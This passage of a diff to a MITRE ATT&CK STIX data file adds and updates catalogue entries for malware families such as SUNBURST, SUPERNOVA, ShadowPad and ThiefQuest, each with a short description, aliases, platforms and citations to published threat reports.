"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified \"sophisticated cyber actor\" since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020) \n\nIn October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as \"IAmTheKing\".(Citation: Kaspersky IAmTheKing October 2020) ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as \"PowerPool\".(Citation: ESET PowerPool Code October 2020) ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0533", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0533" + }, + { + "source_name": "JackOfHearts", + "description": "Kaspersky Labs refers to the \"mediaplayer.exe\" dropper within SLOTHFULMEDIA as the JackOfHearts.(Citation: Kaspersky IAmTheKing October 2020)" + }, + { + "source_name": "QueenOfClubs", + "description": "Kaspersky Labs assesses SLOTHFULMEDIA is an older variant of a malware family it refers to as the QueenOfClubs.(Citation: Kaspersky IAmTheKing October 2020)" + }, + { + "source_name": "CISA MAR SLOTHFULMEDIA October 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020." + }, + { + "source_name": "Costin Raiu IAmTheKing October 2020", + "url": "https://twitter.com/craiu/status/1311920398259367942", + "description": "Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved November 16, 2020." + }, + { + "source_name": "USCYBERCOM SLOTHFULMEDIA October 2020", + "url": "https://twitter.com/CNMF_CyberAlert/status/1311743710997159953", + "description": "USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved November 16, 2020." + }, + { + "source_name": "Kaspersky IAmTheKing October 2020", + "url": "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/", + "description": "Ivan Kwiatkowski, Pierre Delcher, Felix Aime. (2020, October 15). IAmTheKing and the SlothfulMedia malware family. Retrieved October 15, 2020." + }, + { + "source_name": "ESET PowerPool Code October 2020", + "url": "https://twitter.com/ESETresearch/status/1311762215490461696", + "description": "ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved November 17, 2020." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-13T20:44:14.476Z", + "created": "2020-11-16T23:23:00.729Z", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "SLOTHFULMEDIA", + "JackOfHearts", + "QueenOfClubs" + ], + "x_mitre_version": "1.0" + }, { "id": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -254531,6 +299019,154 @@ "SQLRat" ] }, + { + "id": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "name": "SUNBURST", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0559", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0559" + }, + { + "source_name": "SUNBURST", + "description": "(Citation: FireEye SUNBURST Backdoor December 2020)" + }, + { + "source_name": "Solorigate", + "description": "(Citation: Microsoft Deep Dive Solorigate January 2021)" + }, + { + "source_name": "SolarWinds Sunburst Sunspot Update January 2021", + "url": "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", + "description": "Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-24T22:36:06.030Z", + "created": "2021-01-05T22:42:05.965Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "SUNBURST", + "Solorigate" + ], + "x_mitre_version": "2.0", + "x_mitre_contributors": [ + "Matt Brenton, Zurich Insurance Group" + ] + }, + { + "id": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021) ", + "name": "SUNSPOT", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0562", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0562" + }, + { + "source_name": "SUNSPOT", + "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)" + }, + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-26T12:11:19.301Z", + "created": "2021-01-12T16:14:28.845Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "SUNSPOT" + ], + "x_mitre_version": "1.1" + }, + { + "created": "2021-02-18T17:35:13.361Z", + "modified": "2021-04-23T23:00:41.648Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9", + "name": "SUPERNOVA", + "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of [APT29](https://attack.mitre.org/groups/G0016)'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA](https://attack.mitre.org/software/S0578) may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0578", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0578" + }, + { + "source_name": "Guidepoint SUPERNOVA Dec 2020", + "url": "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021." + }, + { + "source_name": "Unit42 SUPERNOVA Dec 2020", + "url": "https://unit42.paloaltonetworks.com/solarstorm-supernova/", + "description": "Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021." + }, + { + "source_name": "SolarWinds Advisory Dec 2020", + "url": "https://www.solarwinds.com/sa-overview/securityadvisory", + "description": "SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021." + }, + { + "source_name": "CISA Supernova Jan 2021", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a", + "description": "CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021." + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "SUPERNOVA" + ], + "x_mitre_version": "1.0" + }, { "external_references": [ { @@ -254710,9 +299346,9 @@ "external_id": "S0053" }, { - "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", - "source_name": "F-Secure The Dukes" + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" } ], "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)", @@ -254723,7 +299359,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T18:14:02.011Z", + "modified": "2021-04-26T17:40:17.009Z", "created": "2017-05-31T21:32:37.767Z", "x_mitre_version": "1.1", "x_mitre_aliases": [ @@ -254813,12 +299449,60 @@ ] }, { - "created": "2017-05-31T21:33:20.223Z", - "modified": "2020-06-15T14:24:52.969Z", + "created": "2021-03-23T20:49:39.954Z", + "modified": "2021-04-26T13:14:35.741Z", "labels": [ "malware" ], "type": "malware", + "id": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", + "name": "ShadowPad", + "description": "[ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017) ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0596", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0596" + }, + { + "source_name": "POISONPLUG.SHADOW", + "description": "(Citation: FireEye APT41 Aug 2019)" + }, + { + "source_name": "Recorded Future RedEcho Feb 2021", + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", + "description": "Insikt Group. (2021, February 28). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved March 22, 2021." + }, + { + "source_name": "Securelist ShadowPad Aug 2017", + "url": "https://securelist.com/shadowpad-in-corporate-networks/81432/", + "description": "GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021." + }, + { + "source_name": "Kaspersky ShadowPad Aug 2017", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf", + "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021." + }, + { + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "ShadowPad", + "POISONPLUG.SHADOW" + ], + "x_mitre_version": "1.0" + }, + { "id": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Shamoon", @@ -254857,6 +299541,12 @@ "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-02-09T13:42:15.121Z", + "created": "2017-05-31T21:33:20.223Z", "x_mitre_platforms": [ "Windows" ], @@ -254866,6 +299556,49 @@ ], "x_mitre_version": "2.1" }, + { + "external_references": [ + { + "external_id": "S0546", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0546" + }, + { + "source_name": "SharpStage", + "description": "(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)" + }, + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + }, + { + "source_name": "BleepingComputer Molerats Dec 2020", + "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", + "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SharpStage](https://attack.mitre.org/software/S0546) is a .NET malware with backdoor capabilities.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)", + "name": "SharpStage", + "id": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2020-12-28T21:12:01.371Z", + "created": "2020-12-22T17:02:52.954Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "SharpStage" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "id": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "name": "ShimRat", @@ -254900,6 +299633,40 @@ ], "x_mitre_version": "1.0" }, + { + "external_references": [ + { + "external_id": "S0589", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0589" + }, + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the SolarWinds cyber intrusion campaign.(Citation: MSTIC NOBELIUM Mar 2021)", + "name": "Sibot", + "id": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-20T22:30:19.071Z", + "created": "2021-03-12T18:08:23.552Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "Sibot" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "id": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -255093,6 +299860,44 @@ ], "x_mitre_version": "1.0" }, + { + "external_references": [ + { + "external_id": "S0543", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0543" + }, + { + "source_name": "Spark", + "description": "\n(Citation: Unit42 Molerat Mar 2020) " + }, + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "\n[Spark](https://attack.mitre.org/software/S0543) is a Windows backdoor and has been in use since as early as 2017.(Citation: Unit42 Molerat Mar 2020) ", + "name": "Spark", + "id": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-19T22:03:52.327Z", + "created": "2020-12-15T01:30:05.198Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "Spark" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "external_references": [ { @@ -255483,6 +300288,43 @@ ], "x_mitre_version": "1.1" }, + { + "created": "2021-03-05T15:56:44.479Z", + "modified": "2021-04-26T15:52:00.433Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "name": "TAINTEDSCRIBE", + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) is a fully-featured beaconing implant integrated with command modules used by [Lazarus Group](https://attack.mitre.org/groups/G0032). It was first reported in May 2020.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0586", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0586" + }, + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "TAINTEDSCRIBE" + ], + "x_mitre_version": "1.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ] + }, { "id": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -255521,6 +300363,45 @@ ], "x_mitre_version": "1.1" }, + { + "id": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", + "name": "TEARDROP", + "description": "[TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0560", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0560" + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-26T12:13:17.872Z", + "created": "2021-01-06T17:34:43.835Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "TEARDROP" + ], + "x_mitre_version": "1.1" + }, { "id": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -255666,14 +300547,14 @@ "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)" }, { - "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "source_name": "FireEye APT33 Sept 2017", "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", - "source_name": "FireEye APT33 Sept 2017" + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" }, { - "url": "https://www.brighttalk.com/webcast/10703/275683", + "source_name": "FireEye APT33 Webinar Sept 2017", "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", - "source_name": "FireEye APT33 Webinar Sept 2017" + "url": "https://www.brighttalk.com/webcast/10703/275683" } ], "object_marking_refs": [ @@ -255683,7 +300564,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T18:20:01.325Z", + "modified": "2021-02-09T15:25:33.116Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_platforms": [ "Windows" @@ -255803,6 +300684,69 @@ "Windows" ] }, + { + "external_references": [ + { + "external_id": "S0595", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0595" + }, + { + "source_name": "ThiefQuest", + "description": "(Citation: Reed thiefquest fake ransom)" + }, + { + "source_name": "MacRansom.K", + "description": "(Citation: SentinelOne EvilQuest Ransomware Spyware 2020)" + }, + { + "source_name": "EvilQuest", + "description": "(Citation: Reed thiefquest fake ransom)" + }, + { + "source_name": "Reed thiefquest fake ransom", + "url": "https://blog.malwarebytes.com/detections/osx-thiefquest/", + "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 18, 2021." + }, + { + "source_name": "wardle evilquest partii", + "url": "https://objective-see.com/blog/blog_0x60.html", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021." + }, + { + "source_name": "reed thiefquest ransomware analysis", + "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", + "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021." + }, + { + "source_name": "SentinelOne EvilQuest Ransomware Spyware 2020", + "url": "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/", + "description": "Phil Stokes. (2020, July 8). \u201cEvilQuest\u201d Rolls Ransomware, Spyware & Data Theft Into One. Retrieved April 1, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)", + "name": "ThiefQuest", + "id": "malware--727afb95-3d0f-4451-b297-362a43909923", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-26T21:28:09.905Z", + "created": "2021-03-19T16:26:04.260Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "ThiefQuest", + "MacRansom.K", + "EvilQuest" + ], + "x_mitre_platforms": [ + "macOS" + ] + }, { "id": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -255815,9 +300759,9 @@ "external_id": "S0004" }, { - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "source_name": "Cylance Cleaver" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "object_marking_refs": [ @@ -255827,7 +300771,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T18:21:44.275Z", + "modified": "2021-04-21T16:41:34.655Z", "created": "2017-05-31T21:32:12.310Z", "x_mitre_platforms": [ "Windows" @@ -255898,12 +300842,13 @@ "labels": [ "malware" ], - "modified": "2020-10-17T15:06:16.817Z", + "modified": "2021-04-10T13:35:22.920Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_platforms": [ "Windows" ], "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", "Cybereason Nocturnus, @nocturnus", "Omkar Gudhate", "FS-ISAC" @@ -255913,7 +300858,7 @@ "Totbrick", "TSPY_TRICKLOAD" ], - "x_mitre_version": "1.3" + "x_mitre_version": "1.4" }, { "id": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", @@ -256319,7 +301264,7 @@ }, { "id": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", - "description": "[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)", "name": "Ursnif", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -256372,7 +301317,7 @@ "labels": [ "malware" ], - "modified": "2020-06-24T13:57:16.815Z", + "modified": "2021-04-23T20:38:14.681Z", "created": "2019-06-04T18:42:22.552Z", "x_mitre_aliases": [ "Ursnif", @@ -256380,7 +301325,7 @@ "PE_URSNIF", "Dreambot" ], - "x_mitre_version": "1.2", + "x_mitre_version": "1.3", "x_mitre_platforms": [ "Windows" ] @@ -256486,7 +301431,7 @@ "labels": [ "malware" ], - "modified": "2020-10-05T20:59:05.953Z", + "modified": "2020-11-23T19:00:25.745Z", "created": "2020-06-19T17:11:54.854Z", "x_mitre_contributors": [ "Cybereason Nocturnus, @nocturnus" @@ -256494,7 +301439,7 @@ "x_mitre_platforms": [ "Windows" ], - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_aliases": [ "Valak" ] @@ -256515,9 +301460,9 @@ "description": "(Citation: Symantec Vasport May 2012)" }, { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "source_name": "Symantec Vasport May 2012", @@ -256532,7 +301477,7 @@ 